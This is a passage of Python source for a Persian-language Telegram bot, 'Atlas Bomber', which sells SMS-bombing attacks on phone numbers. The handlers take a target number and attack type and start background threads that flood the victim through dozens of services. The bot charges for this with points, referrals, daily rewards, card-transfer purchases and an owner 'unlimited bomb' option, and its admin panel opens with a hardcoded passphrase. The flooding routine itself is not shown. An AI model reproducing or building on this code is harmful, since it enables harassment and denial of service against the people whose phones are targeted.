                reply_markup=main_menu_reply_keyboard()
            )
        except Exception as e:
            print(f"خطا در ارسال پیام نهایی: {e}")

    asyncio.run_coroutine_threadsafe(send_final_messages(), MAIN_LOOP)


# ==================== ارسال همگانی ====================
async def broadcast_to_all(context: ContextTypes.DEFAULT_TYPE, message_text: str):
    data = load_data()
    users = list(data.get('users', {}).keys())
    banned = set(data.get('banned_users', []))
    success = 0
    failed = 0
    blocked = 0
    for uid in users:
        if uid in banned:
            continue
        try:
            await context.bot.send_message(chat_id=int(uid), text=f"📢 پیام از طرف مدیریت:\n\n{message_text}")
            success += 1
            await asyncio.sleep(0.05)
        except Exception as e:
            err = str(e).lower()
            if "blocked" in err or "deactivated" in err or "chat not found" in err:
                blocked += 1
            else:
                failed += 1
    return success, failed, blocked


# ==================== هندلر اصلی ====================
async def handle_all(update: Update, context: ContextTypes.DEFAULT_TYPE):
    try:
        msg = update.effective_message
        chat_id = update.effective_chat.id
        callback_query = update.callback_query

        text = ""
        callback_data = None
        photo_id = None

        if callback_query:
            callback_data = callback_query.data
            await callback_query.answer()
        else:
            text = (msg.text or "").strip() if msg else ""

        if msg and msg.photo:
            photo_id = msg.photo[-1].file_id

        print(f"[DEBUG] chat_id={chat_id} text={text!r} callback={callback_data} photo={'YES' if photo_id else 'NO'}")

    except Exception as e:
        print(f"خطا در پردازش اولیه: {e}")
        traceback.print_exc()
        return

    async def send(content, reply_markup=None, inline_markup=None):
        if callback_query:
            try:
                await callback_query.edit_message_text(
                    content, reply_markup=inline_markup if inline_markup else None
                )
                if reply_markup is not None:
                    await context.bot.send_message(chat_id, "—", reply_markup=reply_markup)
                return None
            except Exception:
                pass
        kwargs = {}
        if reply_markup is not None:
            kwargs['reply_markup'] = reply_markup
        elif inline_markup is not None:
            kwargs['reply_markup'] = inline_markup
        return await context.bot.send_message(chat_id, content, **kwargs)

    try:
        bot_data = load_data()
        is_admin = str(chat_id) == str(ADMIN_CHAT_ID)

        # ====== پاسخ ادمین به تیکت پشتیبانی ======
        if is_admin and msg and msg.reply_to_message and not callback_query:
            replied_to = msg.reply_to_message
            if replied_to.message_id in support_sessions:
                target_user = support_sessions[replied_to.message_id]
                try:
                    await context.bot.send_message(
                        chat_id=int(target_user),
                        text=f"🎧 پاسخ پشتیبانی:\n\n{text}"
                    )
                    await context.bot.send_message(chat_id, "✅ پاسخ ارسال شد.")
                except Exception as e:
                    await context.bot.send_message(chat_id, f"❌ خطا در ارسال: {e}")
                return

        if str(chat_id) in bot_data.get("banned_users", []):
            await send("🚫 شما توسط مدیر مسدود شده‌اید و مجاز به استفاده از ربات نیستید.")
            return

        # ====== دکمه بازگشت به منوی اصلی از هرجایی ======
        if callback_data == "go_home" or text == HOME_BTN:
            user_states[chat_id] = {}
            await send("🏠 به منوی اصلی بازگشتید.\n\n💣 به ربات اطلس بمبر خوش آمدید!", reply_markup=main_menu_reply_keyboard())
            return

        if str(chat_id) in bot_data["users"]:
            bot_data["users"][str(chat_id)]["last_active"] = datetime.now().isoformat()
            save_data(bot_data)
            invalidate_cache()

        is_new_user = str(chat_id) not in bot_data["users"]

        if is_new_user:
            bot_data["users"][str(chat_id)] = {
                "join_date": datetime.now().isoformat(),
                "attack_count": 0,
                "total_sms_sent": 0,
                "last_active": datetime.now().isoformat()
            }
            if str(chat_id) not in bot_data["points"]:
                bot_data["points"][str(chat_id)] = 0
            save_data(bot_data)
            invalidate_cache()
            print(f"کاربر جدید: {chat_id} | مجموع کاربران: {len(bot_data['users'])}")

            ref_code = None
            if text and text.startswith("/start"):
                parts = text.split(maxsplit=1)
                if len(parts) > 1:
                    ref_code = parts[1].strip()
            if ref_code and len(ref_code) == 8:
                success, referrer, new_pts = process_referral(chat_id, ref_code)
                if success:
                    await send(
                        f"🎉 شما با موفقیت دعوت شدید!\n"
                        f"⭐ 1 امتیاز به کاربر دعوت‌کننده تعلق گرفت.\n\n"
                        f"🔑 کد دعوت شما: {generate_referral_code(chat_id)}",
                        reply_markup=main_menu_reply_keyboard()
                    )
                    return

            user_states[chat_id] = {"state": "awaiting_referral_code"}
            await send(
                f"👋 به ربات اطلس بمبر خوش آمدید!\n\n"
                f"اگر کد دعوت دارید، آن را وارد کنید.\n"
                f"در غیر این صورت روی دکمه 'رد کردن' بزنید.\n\n"
                f"🔑 کد دعوت شما: {generate_referral_code(chat_id)}",
                inline_markup=referral_code_inline_keyboard()
            )
            return

        state_info = user_states.get(chat_id, {})
        state = state_info.get("state")

        # ===== کد دعوت اولیه =====
        if state == "awaiting_referral_code":
            if callback_data in ("skip_referral", "cancel"):
                user_states[chat_id] = {}
                await send("💣 به ربات اطلس بمبر پیشرفته خوش آمدید!", reply_markup=main_menu_reply_keyboard())
                return
            if text:
                ref_code = text.strip().upper()
                if len(ref_code) == 8:
                    success, referrer, new_pts = process_referral(chat_id, ref_code)
                    if success:
                        user_states[chat_id] = {}
                        await send(
                            f"🎉 کد دعوت با موفقیت تایید شد!\n"
                            f"⭐ 1 امتیاز به کاربر دعوت‌کننده تعلق گرفت.",
                            reply_markup=main_menu_reply_keyboard()
                        )
                        return
                    else:
                        await send("❌ کد دعوت نامعتبر است.", inline_markup=referral_code_inline_keyboard())
                        return
                else:
                    await send("❌ کد دعوت باید ۸ کاراکتر باشد.", inline_markup=referral_code_inline_keyboard())
                    return
            return

        if state == "entering_referral_code":
            if callback_data == "cancel":
                user_states[chat_id] = {}
                await send("↪️ بازگشت به منوی اصلی", reply_markup=main_menu_reply_keyboard())
                return
            if text:
                ref_code = text.strip().upper()
                if len(ref_code) == 8:
                    success, referrer, new_pts = process_referral(chat_id, ref_code)
                    if success:
                        user_states[chat_id] = {}
                        await send("🎉 کد دعوت تایید شد!", reply_markup=main_menu_reply_keyboard())
                        return
                    else:
                        await send("❌ کد نامعتبر است.", inline_markup=back_inline_keyboard())
                        return
                else:
                    await send("❌ کد باید ۸ کاراکتر باشد.", inline_markup=back_inline_keyboard())
                    return
            return

        # ===== منوی اصلی =====
        if text == "/start" or callback_data == "cancel":
            user_states[chat_id] = {}
            await send("💣 به ربات اطلس بمبر پیشرفته خوش آمدید!", reply_markup=main_menu_reply_keyboard())
            return

        # ===== ورود به پنل ادمین =====
        if text == "HOSSIEN81501390":
            user_states[chat_id] = {"state": "admin_panel"}
            await send("👑 به پنل مدیریت اطلس بمبر خوش آمدید:", inline_markup=admin_panel_inline_keyboard())
            return

        # ============= پنل کاربران =============
        if text == "💣 شروع عملیات جدید" or callback_data == "start_bomb":
            user_points = get_user_points(chat_id)
            if user_points < 3:
                await send(
                    f"⚠️ امتیاز کافی ندارید!\n⭐ امتیاز فعلی: {user_points}\n📌 حداقل: 3",
                    reply_markup=main_menu_reply_keyboard()
                )
                return
            user_states[chat_id] = {"state": "awaiting_phone"}
            await send("📞 لطفا شماره تلفن هدف را وارد کنید:\n(مثال: 09123456789)", reply_markup=cancel_reply_keyboard())
            return

        elif text == "🔗 لینک ارجاع" or callback_data == "referral":
            user_states[chat_id] = {"state": "referral_menu"}
            link = get_user_referral_link(chat_id)
            stats = get_referral_stats(chat_id)
            text_msg = (
                f"🔗 لینک ارجاع شما:\n{link}\n\n"
                f"📊 آمار ارجاع:\n"
                f"⭐ امتیاز: {stats['points'] if stats else 0}\n"
                f"👥 تعداد ارجاع: {stats['referred_count'] if stats else 0}\n"
                f"🔑 کد دعوت: {stats['code'] if stats else ''}\n\n"
                f"🎁 هر کاربر جدید = 1 امتیاز!"
            )
            await send(text_msg, inline_markup=referral_inline_keyboard())
            return

        elif callback_data == "referral_stats":
            stats = get_referral_stats(chat_id)
            if stats:
                await send(
                    f"📊 آمار ارجاع شما:\n\n"
                    f"🔑 کد دعوت: {stats['code']}\n"
                    f"👥 تعداد ارجاع: {stats['referred_count']}\n"
                    f"⭐ امتیاز: {stats['points']}",
                    inline_markup=referral_inline_keyboard()
                )
            else:
                await send("❌ اطلاعاتی یافت نشد.", inline_markup=referral_inline_keyboard())
            return

        elif text == "🎁 دریافت پاداش روزانه" or callback_data == "daily_reward":
            success, message = check_daily_reward(chat_id)
            await send(message, reply_markup=main_menu_reply_keyboard())
            return

        elif text == "🎁 اسمس بمبر رایگان" or callback_data == "free_bomb":
            success, message = check_free_bomb(chat_id)
            if success:
                await send(
                    f"{message}\n\n🎯 برای استفاده از بمب رایگان، شماره هدف را وارد کنید:",
                    reply_markup=cancel_reply_keyboard()
                )
                user_states[chat_id] = {"state": "awaiting_free_bomb"}
            else:
                await send(message, reply_markup=main_menu_reply_keyboard())
            return

        elif text == "💰 خرید امتیاز" or callback_data == "buy_points":
            user_states[chat_id] = {"state": "buy_points_select"}
            await send(
                f"💰 خرید امتیاز\n\n📋 لطفاً پکیج مورد نظر خود را انتخاب کنید:",
                inline_markup=buy_points_inline_keyboard()
            )
            return

        elif callback_data and callback_data.startswith("buy_") and callback_data not in ["buy_confirm_paid", "buy_cancel"]:
            try:
                points = int(callback_data.replace("buy_", ""))
            except ValueError:
                return
            price = BUY_POINTS_PRICES.get(points)
            if price:
                bonus_text = ""
                total_points = points
                if points == 500:
                    total_points = 600
                    bonus_text = "\n🎁 جایزه: 100 امتیاز هدیه!"

                user_states[chat_id] = {
                    "state": "buy_points_confirm",
                    "selected_points": points,
                    "total_points": total_points,
                    "price": price
                }

                await send(
                    f"🧾 پیش‌فاکتور خرید امتیاز\n\n"
                    f"📦 پکیج: {points} امتیاز\n"
                    f"🎁 دریافتی: {total_points} امتیاز{bonus_text}\n"
                    f"💰 مبلغ: {price:,} تومان\n\n"
                    f"━━━━━━━━━━━━━━━━\n"
                    f"💳 کارت به کارت:\n\n"
                    f"شماره کارت:\n{CARD_NUMBER}\n"
                    f"به نام: {CARD_HOLDER}\n{BANK_NAME}\n\n"
                    f"📤 پس از واریز، رسید را ارسال کنید.\n"
                    f"━━━━━━━━━━━━━━━━\n\n"
                    f"👇 پس از پرداخت:",
                    inline_markup=buy_confirm_inline_keyboard()
                )
            return

        elif callback_data == "buy_confirm_paid":
            if state != "buy_points_confirm":
                await send("❌ لطفاً ابتدا یک پکیج انتخاب کنید.", reply_markup=main_menu_reply_keyboard())
                return
            user_states[chat_id]["state"] = "buy_points_waiting_receipt"
            await send(
                "📸 لطفاً عکس رسید پرداخت خود را ارسال کنید.",
                reply_markup=cancel_op_reply_keyboard("❌ انصراف از خرید")
            )
            return

        elif callback_data == "buy_cancel":
            user_states[chat_id] = {}
            await send("❌ خرید لغو شد.", reply_markup=main_menu_reply_keyboard())
            return

        elif text == "🔑 وارد کردن کد دعوت" or callback_data == "enter_referral":
            user_states[chat_id] = {"state": "entering_referral_code"}
            await send("🔑 لطفاً کد دعوت ۸ کاراکتری خود را وارد کنید:", reply_markup=cancel_reply_keyboard())
            return

        elif text == "⭐ امتیازات من" or callback_data == "my_points":
            user_points = get_user_points(chat_id)
            await send(
                f"⭐ امتیازات شما\n\nامتیاز فعلی: {user_points}\n\n"
                f"📋 هر عملیات = 3 امتیاز",
                reply_markup=main_menu_reply_keyboard()
            )
            return

        elif text == "📊 آمار من" or callback_data == "my_stats":
            user_data = bot_data['users'].get(str(chat_id), {})
            stats = get_referral_stats(chat_id)
            await send(
                f"📊 آمار شما\n\n"
                f"🆔 آیدی: {chat_id}\n"
                f"💣 تعداد حملات: {user_data.get('attack_count', 0)}\n"
                f"✉️ پیامک‌های موفق: {user_data.get('total_sms_sent', 0)}\n"
                f"⭐ امتیاز: {get_user_points(chat_id)}\n"
                f"👥 ارجاع: {stats['referred_count'] if stats else 0}",
                reply_markup=main_menu_reply_keyboard()
            )
            return

        elif text == "🛡 لیست سیاه شخصی" or callback_data == "blacklist_self":
            user_states[chat_id] = {'state': 'awaiting_blacklist_phone'}
            await send(
                "🛡 شماره‌ای که می‌خواهید در لیست سیاه شخصی قرار گیرد را وارد کنید.",
                reply_markup=cancel_reply_keyboard()
            )
            return

        # ============= پشتیبانی کاربر =============
        elif text == "🎧 پشتیبانی" or callback_data == "support":
            user_states[chat_id] = {"state": "support_menu"}
            await send(
                "🎧 پشتیبانی اطلس بمبر\n\n"
                "لطفاً یکی از گزینه‌های زیر را انتخاب کنید:",
                inline_markup=support_menu_inline_keyboard()
            )
            return

        elif callback_data == "support_send":
            user_states[chat_id] = {"state": "support_awaiting_message"}
            await send(
                "📝 لطفاً پیام خود را برای پشتیبانی بنویسید:",
                reply_markup=cancel_reply_keyboard()
            )
            return

        elif callback_data == "support_my_tickets":
            data = load_data()
            tickets = data.get("support_tickets", {})
            user_id_str = str(chat_id)
            user_tickets = {tid: t for tid, t in tickets.items() if t.get("user_id") == user_id_str}
            if not user_tickets:
                await send("📭 شما هیچ تیکتی ثبت نکرده‌اید.", inline_markup=support_menu_inline_keyboard())
                return
            text_msg = "📋 تیکت‌های شما:\n\n"
            for tid, t in list(user_tickets.items())[-10:]:
                status_emoji = "🟢" if t.get("status") == "answered" else "🟡"
                text_msg += f"{status_emoji} {tid}\n"
                text_msg += f"   📅 {t.get('created_at', '')[:16]}\n"
                text_msg += f"   📝 {t.get('message', '')[:50]}...\n\n"
            await send(text_msg, inline_markup=support_menu_inline_keyboard())
            return

        elif text == "📢 کانال ما" or callback_data == "channel":
            await send(
                "🌟 به جمع ما بپیوندید!\n\n📢 کانال:\n@Pr_ogramming",
                reply_markup=main_menu_reply_keyboard()
            )
            return

        elif text == "❓ راهنما" or callback_data == "help":
            await send(
                f"❓ راهنمای ربات اطلس بمبر\n\n"
                f"1️⃣ شروع عملیات: 3 امتیاز\n"
                f"2️⃣ بمب رایگان: هر 24 ساعت\n"
                f"3️⃣ پاداش روزانه: 1 امتیاز\n"
                f"4️⃣ لینک ارجاع: هر دعوت 1 امتیاز\n"
                f"5️⃣ خرید امتیاز\n"
                f"6️⃣ پشتیبانی: ارسال پیام به ادمین\n\n"
                f"🏠 برای بازگشت به منوی اصلی، از دکمه بازگشت استفاده کنید.",
                reply_markup=main_menu_reply_keyboard()
            )
            return

        # ===== پنل ادمین =====
        if callback_data == "admin_stats":
            users = bot_data.get('users', {})
            total_points = sum(bot_data.get('points', {}).values())
            total_referrals = sum(len(ref.get('referred_users', [])) for ref in bot_data.get('referrals', {}).values())
            active_users = sum(1 for u in users.values() if u.get('attack_count', 0) > 0)
            inactive_users = len(users) - active_users
            pending_orders = len([o for o in bot_data.get('pending_orders', {}).values() if o.get('status') == 'pending'])
            pending_tickets = len([t for t in bot_data.get('support_tickets', {}).values() if t.get('status') == 'pending'])
            await send(
                f"📊 آمار کلی اطلس بمبر\n\n"
                f"👥 کل کاربران: {len(users)}\n"
                f"🟢 فعال: {active_users}\n"
                f"🔴 غیرفعال: {inactive_users}\n"
                f"🚫 مسدود: {len(bot_data.get('banned_users', []))}\n"
                f"⭐ امتیازات: {total_points}\n"
                f"🔗 ارجاعات: {total_referrals}\n"
                f"🛒 سفارشات: {pending_orders}\n"
                f"🎧 تیکت‌های باز: {pending_tickets}",
                inline_markup=admin_panel_inline_keyboard()
            )
            return

        elif callback_data == "admin_users":
            user_states[chat_id] = {"state": "admin_users"}
            await send("👥 مدیریت کاربران:", inline_markup=admin_users_inline_keyboard())
            return

        elif callback_data == "admin_add_points":
            user_states[chat_id] = {"state": "awaiting_add_points"}
            await send("⭐ وارد کنید:\nuser_id|amount\nمثال: 123456789|10", inline_markup=back_inline_keyboard())
            return

        elif callback_data == "admin_orders":
            orders = bot_data.get("pending_orders", {})
            pending = {oid: o for oid, o in orders.items() if o.get("status") == "pending"}
            if not pending:
                await send("📭 هیچ سفارش در انتظاری وجود ندارد.", inline_markup=admin_panel_inline_keyboard())
                return
            await send(f"🛒 سفارشات در انتظار: {len(pending)}", inline_markup=admin_panel_inline_keyboard())
            for oid, o in list(pending.items())[:10]:
                order_text = (
                    f"🆔 سفارش: {oid}\n"
                    f"👤 کاربر: {o['user_id']}\n"
                    f"📦 امتیاز: {o['points']}\n"
                    f"💰 مبلغ: {o['price']:,} تومان\n"
                    f"📅 {o['created_at'][:16]}"
                )
                try:
                    await context.bot.send_photo(
                        chat_id=int(ADMIN_CHAT_ID), photo=o.get("photo_id"), caption=order_text
                    )
                    await context.bot.send_message(
                        chat_id=int(ADMIN_CHAT_ID),
                        text="برای تایید یا رد:",
                        reply_markup=admin_order_inline_keyboard(oid)
                    )
                except Exception as e:
                    print(f"خطا در ارسال عکس سفارش: {e}")
                    await send(order_text, inline_markup=admin_order_inline_keyboard(oid))
            return

        # ============= پیام همگانی =============
        elif callback_data == "admin_broadcast":
            if not is_admin:
                await send("⛔ دسترسی ندارید.")
                return
            user_states[chat_id] = {"state": "awaiting_broadcast_text"}
            await send(
                "📢 پیام همگانی\n\n"
                "لطفاً متن پیامی که می‌خواهید برای همه کاربران ارسال شود را بنویسید:\n\n"
                "⚠️ توجه: پیام به تمام کاربران (به جز مسدودها) ارسال می‌شود.",
                inline_markup=home_inline_keyboard()
            )
            return

        elif callback_data == "broadcast_confirm":
            if not is_admin:
                await send("⛔ دسترسی ندارید.")
                return
            broadcast_text = user_states.get(chat_id, {}).get("broadcast_text")
            if not broadcast_text:
                await send("❌ متنی یافت نشد.", inline_markup=admin_panel_inline_keyboard())
                return
            await send("⏳ در حال ارسال پیام همگانی...", inline_markup=admin_panel_inline_keyboard())
            success, failed, blocked = await broadcast_to_all(context, broadcast_text)
            await context.bot.send_message(
                chat_id,
                f"✅ گزارش ارسال همگانی:\n\n"
                f"✔️ موفق: {success}\n"
                f"❌ خطا: {failed}\n"
                f"🚫 بلاک شده: {blocked}",
                reply_markup=admin_panel_inline_keyboard()
            )
            user_states[chat_id] = {"state": "admin_panel"}
            return

        # ============= تیکت‌های پشتیبانی (ادمین) =============
        elif callback_data == "admin_support_tickets":
            if not is_admin:
                await send("⛔ دسترسی ندارید.")
                return
            data = load_data()
            tickets = data.get("support_tickets", {})
            pending = {tid: t for tid, t in tickets.items() if t.get("status") == "pending"}
            if not pending:
                await send("📭 هیچ تیکت بازی وجود ندارد.", inline_markup=admin_panel_inline_keyboard())
                return
            await send(f"🎧 تیکت‌های باز: {len(pending)}", inline_markup=admin_panel_inline_keyboard())
            for tid, t in list(pending.items())[:10]:
                ticket_text = (
                    f"🎧 تیکت: {tid}\n"
                    f"👤 کاربر: {t['user_id']}\n"
                    f"📅 {t['created_at'][:16]}\n\n"
                    f"📝 پیام:\n{t['message']}"
                )
                try:
                    sent = await context.bot.send_message(chat_id=int(ADMIN_CHAT_ID), text=ticket_text)
                    support_sessions[sent.message_id] = t['user_id']
                    await context.bot.send_message(
                        chat_id=int(ADMIN_CHAT_ID),
                        text="↪️ برای پاسخ، روی همین پیام ریپلای کنید."
                    )
                except Exception as e:
                    print(f"خطا در ارسال تیکت: {e}")
            return

        elif callback_data and callback_data.startswith("approve_order_"):
            if not is_admin:
                await send("⛔ دسترسی ندارید.")
                return
            order_id = callback_data.replace("approve_order_", "")
            data = load_data()
            orders = data.get("pending_orders", {})
            if order_id not in orders:
                await send("❌ سفارش یافت نشد.")
                return
            order = orders[order_id]
            if order.get("status") != "pending":
                await send("⚠️ قبلاً بررسی شده.")
                return
            user_id = order["user_id"]
            points = order["points"]
            add_points(user_id, points)
            order["status"] = "approved"
            order["approved_at"] = datetime.now().isoformat()
            save_data(data)
            invalidate_cache()
            await send(f"✅ سفارش {order_id} تایید شد.", inline_markup=admin_panel_inline_keyboard())
            try:
                await context.bot.send_message(
                    chat_id=int(user_id),
                    text=f"🎉 سفارش تایید شد!\n⭐ {points} امتیاز اضافه شد."
                )
            except Exception as e:
                print(f"خطا در اطلاع به کاربر: {e}")
            return

        elif callback_data and callback_data.startswith("reject_order_"):
            if not is_admin:
                await send("⛔ دسترسی ندارید.")
                return
            order_id = callback_data.replace("reject_order_", "")
            data = load_data()
            orders = data.get("pending_orders", {})
            if order_id not in orders:
                await send("❌ سفارش یافت نشد.")
                return
            order = orders[order_id]
            if order.get("status") != "pending":
                await send("⚠️ قبلاً بررسی شده.")
                return
            user_id = order["user_id"]
            order["status"] = "rejected"
            order["rejected_at"] = datetime.now().isoformat()
            save_data(data)
            invalidate_cache()
            await send(f"❌ سفارش {order_id} رد شد.", inline_markup=admin_panel_inline_keyboard())
            try:
                await context.bot.send_message(chat_id=int(user_id), text="❌ سفارش شما رد شد.")
            except Exception as e:
                print(f"خطا در اطلاع به کاربر: {e}")
            return

        elif callback_data == "admin_owner_panel":
            user_states[chat_id] = {"state": "owner_panel"}
            await send("👑 پنل مالک:", inline_markup=owner_panel_inline_keyboard())
            return

        elif callback_data == "admin_blacklist":
            owner_blacklist = bot_data.get('owner_blacklist', [])
            if owner_blacklist:
                text_msg = "🛡 لیست سیاه مالک:\n\n" + "\n".join([f"{num}" for num in owner_blacklist[:20]])
            else:
                text_msg = "📭 لیست سیاه مالک خالی است."
            await send(text_msg, inline_markup=admin_panel_inline_keyboard())
            return

        elif callback_data == "admin_security":
            await send(
                f"🔒 امنیت ربات اطلس بمبر\n\n"
                f"🔹 HTTPS\n🔹 احراز هویت دو مرحله‌ای\n🔹 AES-256\n"
                f"🔹 +40 سرویس فعال",
                inline_markup=admin_panel_inline_keyboard()
            )
            return

        # ===== مدیریت کاربران =====
        elif callback_data == "admin_user_stats":
            users = bot_data.get('users', {})
            text_msg = "📊 لیست کاربران:\n\n"
            for user_id, user_data in list(users.items())[:20]:
                status = "🚫" if user_id in bot_data.get('banned_users', []) else "✅"
                points = bot_data.get('points', {}).get(user_id, 0)
                attacks = user_data.get('attack_count', 0)
                text_msg += f"{status} {user_id} | ⭐{points} | 💣{attacks}\n"
            await send(text_msg, inline_markup=admin_users_inline_keyboard())
            return

        elif callback_data == "admin_active_users":
            users = bot_data.get('users', {})
            active_users = [uid for uid, u in users.items() if u.get('attack_count', 0) > 0]
            text_msg = f"🟢 کاربران فعال ({len(active_users)}):\n\n"
            for uid in active_users[:20]:
                text_msg += f"{uid} | ⭐{bot_data.get('points', {}).get(uid, 0)}\n"
            await send(text_msg, inline_markup=admin_users_inline_keyboard())
            return

        elif callback_data == "admin_inactive_users":
            users = bot_data.get('users', {})
            inactive_users = [uid for uid, u in users.items() if u.get('attack_count', 0) == 0]
            text_msg = f"🔴 کاربران غیرفعال ({len(inactive_users)}):\n\n"
            for uid in inactive_users[:20]:
                text_msg += f"{uid}\n"
            await send(text_msg, inline_markup=admin_users_inline_keyboard())
            return

        elif callback_data == "admin_banned_users_list":
            banned = bot_data.get('banned_users', [])
            if banned:
                text_msg = "🚫 کاربران مسدود:\n\n" + "\n".join([f"{uid}" for uid in banned[:20]])
            else:
                text_msg = "✅ هیچ کاربری مسدود نیست."
            await send(text_msg, inline_markup=admin_users_inline_keyboard())
            return

        elif callback_data == "admin_ban_user":
            user_states[chat_id] = {"state": "awaiting_ban_user_id"}
            await send("🚫 شناسه کاربر برای مسدود کردن:", inline_markup=admin_users_inline_keyboard())
            return

        elif callback_data == "admin_unban_user":
            user_states[chat_id] = {"state": "awaiting_unban_user_id"}
            await send("✅ شناسه کاربر برای رفع مسدودیت:", inline_markup=admin_users_inline_keyboard())
            return

        # ===== پنل مالک =====
        elif callback_data == "owner_blacklist_add":
            user_states[chat_id] = {"state": "owner_blacklist_add"}
            await send("➕ شماره مورد نظر:", inline_markup=owner_panel_inline_keyboard())
            return

        elif callback_data == "owner_blacklist_remove":
            user_states[chat_id] = {"state": "owner_blacklist_remove"}
            await send("➖ شماره برای حذف:", inline_markup=owner_panel_inline_keyboard())
            return

        elif callback_data == "owner_blacklist_list":
            owner_blacklist = bot_data.get('owner_blacklist', [])
            if owner_blacklist:
                text_msg = "📋 لیست سیاه مالک:\n\n" + "\n".join([f"{num}" for num in owner_blacklist])
            else:
                text_msg = "📭 لیست سیاه مالک خالی است."
            await send(text_msg, inline_markup=owner_panel_inline_keyboard())
            return

        elif callback_data == "owner_unlimited_bomb":
            user_states[chat_id] = {"state": "owner_unlimited_bomb"}
            await send("💣 بمب نامحدود مالک\n\nشماره هدف:", inline_markup=owner_panel_inline_keyboard())
            return

        # ============= دریافت عکس رسید =============
        if state == "buy_points_waiting_receipt":
            if not photo_id:
                await send("❌ لطفاً عکس رسید خود را ارسال کنید.", reply_markup=cancel_op_reply_keyboard("❌ انصراف"))
                return
            total_points = user_states[chat_id].get("total_points", 0)
            price = user_states[chat_id].get("price", 0)
            data = load_data()
            if "pending_orders" not in data:
                data["pending_orders"] = {}
            order_id = f"ORD{int(time())}"
            data["pending_orders"][order_id] = {
                "user_id": str(chat_id),
                "points": total_points,
                "price": price,
                "photo_id": photo_id,
                "status": "pending",
                "created_at": datetime.now().isoformat()
            }
            save_data(data)
            invalidate_cache()
            await send(
                f"✅ سفارش ثبت شد!\n🧾 {order_id}\n📦 {total_points} امتیاز\n💰 {price:,} تومان",
                reply_markup=main_menu_reply_keyboard()
            )
            try:
                admin_text = (
                    f"🔔 سفارش جدید\n\n"
                    f"🆔 {order_id}\n👤 {chat_id}\n"
                    f"📦 {total_points}\n💰 {price:,} تومان"
                )
                try:
                    await context.bot.send_photo(chat_id=int(ADMIN_CHAT_ID), photo=photo_id, caption=admin_text)
                    await context.bot.send_message(
                        chat_id=int(ADMIN_CHAT_ID), text="👇",
                        reply_markup=admin_order_inline_keyboard(order_id)
                    )
                except Exception as e:
                    print(f"خطا در ارسال به ادمین: {e}")
            except Exception as e:
                print(f"خطا: {e}")
            user_states[chat_id] = {}
            return

        # ============= پیام همگانی - دریافت متن =============
        if text and state == "awaiting_broadcast_text":
            user_states[chat_id]["broadcast_text"] = text
            user_states[chat_id]["state"] = "broadcast_confirm"
            await send(
                f"📢 پیش‌نمایش پیام همگانی:\n\n"
                f"━━━━━━━━━━━━━━━━\n"
                f"{text}\n"
                f"━━━━━━━━━━━━━━━━\n\n"
                f"آیا از ارسال این پیام به همه کاربران مطمئن هستید؟",
                inline_markup=broadcast_confirm_inline_keyboard()
            )
            return

        # ============= پشتیبانی - دریافت پیام کاربر =============
        if text and state == "support_awaiting_message":
            data = load_data()
            ticket_id = f"T{int(time())}"
            data.setdefault("support_tickets", {})[ticket_id] = {
                "user_id": str(chat_id),
                "message": text,
                "status": "pending",
                "created_at": datetime.now().isoformat()
            }
            save_data(data)
            invalidate_cache()
            await send(
                f"✅ پیام شما ثبت شد!\n"
                f"🆔 شماره تیکت: {ticket_id}\n\n"
                f"پشتیبانی به زودی پاسخ خواهد داد.",
                reply_markup=main_menu_reply_keyboard()
            )
            user_info = data.get('users', {}).get(str(chat_id), {})
            ticket_text = (
                f"🎧 تیکت جدید\n\n"
                f"🆔 {ticket_id}\n"
                f"👤 کاربر: {chat_id}\n"
                f"📅 {datetime.now().strftime('%Y-%m-%d %H:%M')}\n\n"
                f"📝 پیام:\n{text}"
            )
            try:
                sent = await context.bot.send_message(chat_id=int(ADMIN_CHAT_ID), text=ticket_text)
                support_sessions[sent.message_id] = str(chat_id)
                await context.bot.send_message(
                    chat_id=int(ADMIN_CHAT_ID),
                    text="↪️ برای پاسخ، روی همین پیام ریپلای کنید."
                )
            except Exception as e:
                print(f"خطا در ارسال تیکت به ادمین: {e}")
            user_states[chat_id] = {}
            return

        # ============= ورودی‌های متنی =============
        if text and state == "awaiting_phone":
            phone_to_bomb = normalize_phone(text)
            if not phone_to_bomb:
                await send("❌ شماره نامعتبر است.", reply_markup=cancel_reply_keyboard())
                return
            if phone_to_bomb in bot_data.get('personal_blacklist', []):
                await send("🛡 در لیست سیاه شخصی است.", reply_markup=main_menu_reply_keyboard())
                return
            if phone_to_bomb in bot_data.get('owner_blacklist', []):
                await send("🛡 در لیست سیاه مالک است.", reply_markup=main_menu_reply_keyboard())
                return
            cooldown = bot_data['bot_settings']['cooldown_seconds']
            last_time = last_operation.get(chat_id, {}).get(phone_to_bomb)
            if last_time and (time() - last_time) < cooldown:
                remaining = int(cooldown - (time() - last_time))
                await send(f"⚠️ {remaining} ثانیه دیگر صبر کنید.", reply_markup=main_menu_reply_keyboard())
                return
            user_states[chat_id]['phone'] = phone_to_bomb
            user_states[chat_id]['state'] = 'awaiting_attack_type'
            await send("✔️ نوع حمله را انتخاب کنید:", inline_markup=attack_type_inline_keyboard())
            return

        elif text and state == "awaiting_blacklist_phone":
            phone_to_blacklist = normalize_phone(text)
            if phone_to_blacklist:
                if phone_to_blacklist not in bot_data['personal_blacklist']:
                    bot_data['personal_blacklist'].append(phone_to_blacklist)
                    save_data(bot_data)
                    invalidate_cache()
                    await send(f"✅ {phone_to_blacklist} اضافه شد.", reply_markup=main_menu_reply_keyboard())
                else:
                    await send("⚠️ قبلاً وجود دارد.", reply_markup=main_menu_reply_keyboard())
                user_states[chat_id] = {}
            else:
                await send("❌ شماره نامعتبر.", reply_markup=cancel_reply_keyboard())
            return

        elif text and state == "awaiting_free_bomb":
            phone_to_bomb = normalize_phone(text)
            if not phone_to_bomb:
                await send("❌ شماره نامعتبر.", reply_markup=cancel_reply_keyboard())
                return
            all_services = list(get_active_services().items())
            random.shuffle(all_services)
            selected_services = dict(all_services[:10])
            progress_message = await context.bot.send_message(chat_id, "⏳ در حال آماده‌سازی...")
            message_id = progress_message.message_id
            stop_event = Event()
            stop_events[chat_id] = stop_event
            Thread(target=bombing_run_with_progress,
                   args=[context.application, chat_id, message_id, phone_to_bomb, 0.5, 1, stop_event, selected_services],
                   daemon=True).start()
            user_states[chat_id] = {}
            return

        elif text and state == "awaiting_ban_user_id":
            user_id = text.strip()
            if user_id in bot_data['users']:
                if user_id not in bot_data['banned_users']:
                    bot_data['banned_users'].append(user_id)
                    save_data(bot_data)
                    invalidate_cache()
                    await send(f"🚫 {user_id} مسدود شد.", inline_markup=admin_users_inline_keyboard())
                else:
                    await send("⚠️ قبلاً مسدود است.", inline_markup=admin_users_inline_keyboard())
            else:
                await send("❌ کاربر یافت نشد.", inline_markup=admin_users_inline_keyboard())
